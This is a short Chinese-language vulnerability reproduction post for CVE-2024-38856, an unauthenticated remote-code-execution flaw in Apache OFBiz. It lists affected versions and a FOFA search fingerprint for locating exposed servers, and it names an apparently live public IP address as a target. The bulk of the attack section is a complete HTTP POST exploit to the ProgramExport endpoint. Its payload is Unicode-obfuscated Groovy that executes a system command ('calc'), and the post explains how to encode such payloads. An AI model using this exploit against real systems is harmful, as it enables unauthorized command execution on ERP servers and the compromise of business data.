【漏洞復現】CVE-2024-38856（ApacheOfbiz RCE）

1. 漏洞描述

Apache OFBiz 是一個開源的企業資源規劃（ERP）系統。它提供了一套企業應用程序，用于集成和自動化企業的許多業務流程。 這個漏洞是由于對 CVE-2023-51467 的不完全修復而產生的。在 Apache OFBiz 18.12.11 版本中，開發人員認為他們已經修復了該漏洞，但實際上他們只解決了其中一種利用方法。Groovy 表達式注入仍然存在，允許未經授權的用戶在服務器上執行任意命令。

2. 影響版本

Apache OFBiz <= 18.12.14

3. 服務探測指紋

FOFA：app=“Apache_OFBiz”

4. 復現過程

https://101.200.198.105:24599/webtools/control/checklogin

exp

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
?
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

unicode編碼的在線網站：https://tool.chinaz.com/tools/unicode.aspx

\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是throw new Exception('calc'.execute().text);進行編碼后的數據